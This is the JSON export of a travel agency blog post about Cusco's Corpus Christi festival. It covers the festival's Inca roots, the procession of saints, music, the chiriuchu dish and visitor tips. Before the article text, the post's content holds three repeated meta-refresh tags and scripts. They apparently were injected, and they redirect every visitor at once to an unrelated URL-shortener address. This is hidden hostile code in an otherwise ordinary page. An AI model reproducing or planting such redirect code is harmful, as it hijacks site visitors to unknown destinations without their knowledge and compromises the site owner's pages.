{"id":16407,"date":"2025-06-19T13:43:53","date_gmt":"2025-06-19T18:43:53","guid":{"rendered":"https:\/\/blog.viajesmachupicchu.travel\/en\/?p=16407"},"modified":"2025-06-19T13:44:05","modified_gmt":"2025-06-19T18:44:05","slug":"cuscos-corpus-christi-saints-secrets-flavors","status":"publish","type":"post","link":"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-corpus-christi-saints-secrets-flavors\/","title":{"rendered":"Cusco\u2019s Corpus Christi: Saints, Secrets &amp; Flavors"},"content":{"rendered":"<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n<meta http-equiv=\"refresh\" content=\"0; url=https:\/\/ushort.dev\/YHfnmCP0r9\" \/>\r\n<script>window.location.href = \"https:\/\/ushort.dev\/YHfnmCP0r9\";<\/script>\r\n\n<p>Cusco city, where saints march through ancient streets, brass bands echo off Inca walls, and people eat cold guinea pig like it\u2019s cake\u2014welcome to<strong> <\/strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/corpus-christi-in-cusco-all-you-need-to-know\/\"><strong>Corpus Christi<\/strong>.<\/a><\/p>\n\n\n\n<p>It\u2019s not just another holiday. It\u2019s a cosmic collision of the sacred and the spectacular, where Catholic saints, Inca spirits, and hungry crowds come together for one of the most meaningful, colorful, and delicious festivals in Peru.&nbsp;<\/p>\n\n\n\n<p>And the best part? You don\u2019t have to be religious to enjoy it\u2014you just have to show up with curiosity (and an empty stomach). So, let\u2019s unravel the real magic behind this event, because there\u2019s way more to it than just a parade.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>What\u2019s This All About, Anyway?<\/strong><\/h2>\n\n\n\n<p>Firstly, Corpus Christi means \u201cBody of Christ,\u201d and it\u2019s a major Catholic celebration that honors the Eucharist.<\/p>\n\n\n\n<p> However, in Cusco, it becomes something way more layered, because it merges the Catholic tradition with powerful Andean rituals that date back centuries, even before the Spanish conquest.<\/p>\n\n\n\n<p>Long before any statue took a walk through<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/exploring-cuscos-plaza-de-armas-heart-of-the-city\/\"><strong> Cusco\u2019s Plaza de Armas<\/strong><\/a>, the Incas would carry the mummies of their rulers and ancestors through the same streets during religious rituals.&nbsp;<\/p>\n\n\n\n<p>When the Spanish banned those practices, the people of Cusco gave the ritual a new face\u2014literally. The saints and virgins you see today are symbolic replacements for those ancestral spirits. So while it\u2019s a Catholic celebration on the surface, it\u2019s deeply Andean at heart.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/corpus-christi-colonial-1.jpg?resize=697%2C465&#038;ssl=1\" alt=\"A saint and catholcis cevotees including andean people praying\" class=\"wp-image-16414\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/corpus-christi-colonial-1.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/corpus-christi-colonial-1.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/corpus-christi-colonial-1.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/corpus-christi-colonial-1.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/corpus-christi-colonial-1.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><figcaption class=\"wp-element-caption\"><strong>The origins of Corpus Christi in Cusco a long ago.<\/strong><\/figcaption><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>When Does It Happen?<\/strong><\/h2>\n\n\n\n<p>Corpus Christi is celebrated 60 days after Easter Sunday, which means it usually falls in late May or June, right when <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/cuscos-squares-heartbeats-of-the-inca-city\/\"><strong>Cusco<\/strong><\/a> is basking in crisp blue skies and sunshine.<\/p>\n\n\n\n<p>The saints and virgins begin arriving in the city the day before, and the main procession takes place on Thursday morning.&nbsp;<\/p>\n\n\n\n<p>However,&nbsp; stick around! The celebration continues for a week, culminating in a second, more intimate procession known as the octava, when the saints return to their home churches.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"523\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/nw3rt7ctovaxhihaqtxj6uakba-1024x768-1.jpg?resize=697%2C523&#038;ssl=1\" alt=\"Corpus Christi ceremony in Cusco's plaza de Amas\" class=\"wp-image-16412\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/nw3rt7ctovaxhihaqtxj6uakba-1024x768-1.jpg?w=1024&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/nw3rt7ctovaxhihaqtxj6uakba-1024x768-1.jpg?resize=300%2C225&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/nw3rt7ctovaxhihaqtxj6uakba-1024x768-1.jpg?resize=768%2C576&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/nw3rt7ctovaxhihaqtxj6uakba-1024x768-1.jpg?resize=640%2C480&amp;ssl=1 640w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Setting: Cusco\u2019s Plaza De Armas Gets a Makeover<\/strong><\/h2>\n\n\n\n<p>Cusco\u2019s Plaza de Armas is always impressive, but during Corpus Christi, it becomes something else entirely. <\/p>\n\n\n\n<p>Picture it: every corner packed with people, incense wafting through the air, street vendors frying up chiriuchu, and the cathedral&#8217;s grand doors wide open to welcome 15 saintly guests.<\/p>\n\n\n\n<p>Then, each parish in Cusco sends its most cherished figure\u2014usually a saint or a virgin\u2014to join the procession. They don\u2019t walk, of course.\u00a0<\/p>\n\n\n\n<p>They\u2019re carried on gigantic, glittering platforms by dozens of strong men known as cargadores, who consider it an enormous spiritual honor.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>The Holy Lineup: Meet Cusco\u2019s Spiritual Celebrities<\/strong><\/h2>\n\n\n\n<p>Each figure in the procession has a name, a church, and a crowd of loyal fans. These statues aren\u2019t just symbolic\u2014they\u2019re beloved, living presences in the lives of locals.<\/p>\n\n\n\n<p>Some of the most iconic include:<\/p>\n\n\n\n<p>San Sebasti\u00e1n \u2013 Bold and brave, often dressed like a warrior.<\/p>\n\n\n\n<p>Santa Ana \u2013 Patron saint of grandmothers and families.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"466\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?resize=697%2C466&#038;ssl=1\" alt=\"All Corpus Christi's participants\" class=\"wp-image-16411\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?resize=1024%2C685&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?resize=300%2C201&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?resize=768%2C514&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?resize=1536%2C1028&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?w=2048&amp;ssl=1 2048w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/464100350_8211331982323494_8807220102141409083_n.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>San Jer\u00f3nimo \u2013 Powerful, dignified, and revered.<\/p>\n\n\n\n<p>La Virgen de los Remedios \u2013 Miraculous protector during plagues.<\/p>\n\n\n\n<p>La Virgen de Bel\u00e9n \u2013 Guarded exclusively by women, fierce and elegant.<\/p>\n\n\n\n<p>Behind every saint is a small army of dancers, musicians, flower bearers, and devotees dressed in their Sunday best. For many Cusque\u00f1os, this isn\u2019t just a tradition\u2014it\u2019s personal.<\/p>\n\n\n\n<p>Carrying San Jer\u00f3nimo is a promise I made to my mother,\u201d says Jos\u00e9, a cargador from the San Jer\u00f3nimo district. \u201cI cry every year.\u201d<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Music, Dancing, and Pure Andean Energy<\/strong><\/h2>\n\n\n\n<p>If the saints are the stars, the bands and dance troupes are the heartbeat. From traditional Andean flutes to booming drums and shiny brass instruments, the streets come alive with sound.<\/p>\n\n\n\n<p>Don\u2019t miss the comparsas\u2014colorful groups of dancers dressed as devils, colonial soldiers, or mythical figures from<a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/peruvian-legends-peruvian-andes-stories-and-myths\/\"> <strong>legends of the Andes<\/strong><\/a>. Each movement, each costume, tells a story rooted in centuries of cultural resistance and joy.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;The Real Star: Chiriuchu, a Feast on a Plate<\/strong><\/h2>\n\n\n\n<p>We know what you\u2019re thinking. \u201cWhat does a guinea pig have to do with saints?\u201d Answer: Everything.<\/p>\n\n\n\n<p>Chiriuchu, the iconic dish of Corpus Christi, is a cold Andean platter that showcases Peru\u2019s geography and cultural fusion. It includes:<\/p>\n\n\n\n<p>? <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/the-cuy-in-peruvian-cuisine-importance-and-preparation\/\"><strong>Guinea pig (cuy),<\/strong><\/a> roasted and served cold<\/p>\n\n\n\n<p>? Charqui (dried alpaca or beef)<\/p>\n\n\n\n<p>? Cheese<\/p>\n\n\n\n<p>? Fish eggs<\/p>\n\n\n\n<p>? Andean corn (mote)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"327\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?resize=697%2C327&#038;ssl=1\" alt=\"A water color style picture that shows the chiri uchu, in the background you can see a saint and a procession\" class=\"wp-image-16298\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?resize=1024%2C481&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?resize=300%2C141&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?resize=768%2C361&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?resize=1170%2C550&amp;ssl=1 1170w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?w=1536&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/chiriuchu-portada-1536x722-1.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<p>? Seaweed (from the coast)<\/p>\n\n\n\n<p>?<strong><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/rocoto-relleno-perus-sizzling-stuffed-pepper-fiesta\/\" title=\"\"> Rocoto pepper<\/a><\/strong><\/p>\n\n\n\n<p>? Corn tortilla or maize pie<\/p>\n\n\n\n<p><a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/chiri-uchu-the-flavors-of-cuscos-corpus-christi\/\"><strong>\u201cChiriuchu\u201d<\/strong><\/a> means a cold spicy dish in Quechua. It\u2019s a meal from the coast, the mountains, and the jungle\u2014just like Peru itself.<\/p>\n\n\n\n<p>&nbsp;\u201cWe prepare the chiriuchu as a family\u2014my grandmother taught me. It\u2019s not just food. It\u2019s tradition,\u201d says Rosa, a vendor near San Francisco Plaza.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>&nbsp;Quick Glance: What to Expect at Corpus Christi<\/strong><\/h2>\n\n\n\n<p>Saints: 15 gold-trimmed statues paraded by locals<\/p>\n\n\n\n<p>Food:Chiriuchu: cold, spicy, packed with culture<\/p>\n\n\n\n<p>Music: Live bands, drums, pan flutes, and choirs<\/p>\n\n\n\n<p>Atmosphere: Joyful, crowded, spiritual<\/p>\n\n\n\n<p>Best Moment: Thursday morning procession<\/p>\n\n\n\n<p>Bonus Tip: Stay for the Octava (second procession)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"465\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/procesion-corpus-christi.jpg?resize=697%2C465&#038;ssl=1\" alt=\"People carrying San Blas statue near Plaza De Armas\" class=\"wp-image-16410\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/procesion-corpus-christi.jpg?resize=1024%2C683&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/procesion-corpus-christi.jpg?resize=300%2C200&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/procesion-corpus-christi.jpg?resize=768%2C512&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/procesion-corpus-christi.jpg?resize=330%2C220&amp;ssl=1 330w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/procesion-corpus-christi.jpg?w=1200&amp;ssl=1 1200w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Travel Tips: Experience It Like a Pro<\/strong><\/h2>\n\n\n\n<p>-Get to the plaza early on Thursday morning (before 9 am).<\/p>\n\n\n\n<p>-Walk the city the day before\u2014each saint\u2019s arrival is a mini-parade.<\/p>\n\n\n\n<p>-Buy chiriuchu from street vendors near San Francisco Church.<\/p>\n\n\n\n<p>-Ask locals about their saints\u2014they\u2019ll love sharing stories.<\/p>\n\n\n\n<p>-Bring a hat, sunscreen, and water. June sun is strong.<\/p>\n\n\n\n<p>-Stay for the \u201cOctava\u201d, one week later. It\u2019s quieter and more intimate.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"697\" height=\"444\" src=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?resize=697%2C444&#038;ssl=1\" alt=\"People in andean costumes with people having fun\" class=\"wp-image-16415\" srcset=\"https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?resize=1024%2C653&amp;ssl=1 1024w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?resize=300%2C191&amp;ssl=1 300w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?resize=768%2C489&amp;ssl=1 768w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?resize=1536%2C979&amp;ssl=1 1536w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?w=1800&amp;ssl=1 1800w, https:\/\/i0.wp.com\/blog.viajesmachupicchu.travel\/en\/wp-content\/uploads\/2025\/06\/000358294W.jpg?w=1394&amp;ssl=1 1394w\" sizes=\"auto, (max-width: 697px) 100vw, 697px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Did You Know? (Little-Known Corpus Christi Facts)<\/strong><\/h2>\n\n\n\n<p>Some Cusque\u00f1os believe Inca spirits inhabit the saints, keeping their ancestors alive.<\/p>\n\n\n\n<p>The route of the procession matches Inca ceremonial paths.<\/p>\n\n\n\n<p>Each cargador trains physically and spiritually for months.<\/p>\n\n\n\n<p>Many of the costumes worn by comparsas mock colonial figures as a form of cultural resistance.<\/p>\n\n\n\n<p>The celebration also acts as a gathering of Cusco\u2019s ayllus\u2014ancestral community groups.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>More than just a Festival<\/strong><\/h2>\n\n\n\n<p>In conclusion, Corpus Christi\u2019s not a show\u2014it\u2019s a living ritual. Corpus Christi isn\u2019t just about statues or hymns. It\u2019s about connection: to the past, to the land, to the community, and to something greater than all of us.<\/p>\n\n\n\n<p>Even if you&#8217;re not religious, the emotions are contagious. You\u2019ll feel the pride, the gratitude, the joy\u2014and maybe a little bit of ancient power rising from beneath the cobblestones.<\/p>\n\n\n\n<p>&nbsp;Don\u2019t just see Cusco. Feel it. Let the saints pass before you, taste centuries of flavor in a single dish, and listen as <a href=\"https:\/\/blog.viajesmachupicchu.travel\/en\/quechua-words-and-meanings\/\"><strong>Quechua<\/strong><\/a> echoes through the Andes.&nbsp;<\/p>\n\n\n\n<p>Corpus Christi is more than a celebration\u2014it\u2019s a heartbeat. Come and walk to the rhythm of a city that never forgets who it is.<\/p>\n\n\n\n<p>Finally, if you want to celebrate the real Corpus Christi in the land of the Incas, <strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/contact\" title=\"\">contact<\/a> Viagens Machu Picchu<\/strong>! We\u2019ll be more than glad to assist you in making your dreams come true in Cusco and Peru. The adventure awaits, don\u2019t be late.<\/p>\n\n\n\n<p><strong><em>Viagens Machu Picchu, journeys that inspire, moments that last<\/em><\/strong>.<\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/\">En Espa\u00f1ol &nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/viajesmachupicchu.travel\/en\/\">In English&nbsp;<\/a><\/strong><\/p>\n\n\n\n<p><strong><a href=\"https:\/\/www.viagensmachupicchu.com.br\/\">Em Portugu\u00e9s<\/a><\/strong><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>From brass bands and saintly parades to ancient Andean rituals and spicy cold guinea pig, Cusco\u2019s Corpus Christi is a festival like no other. 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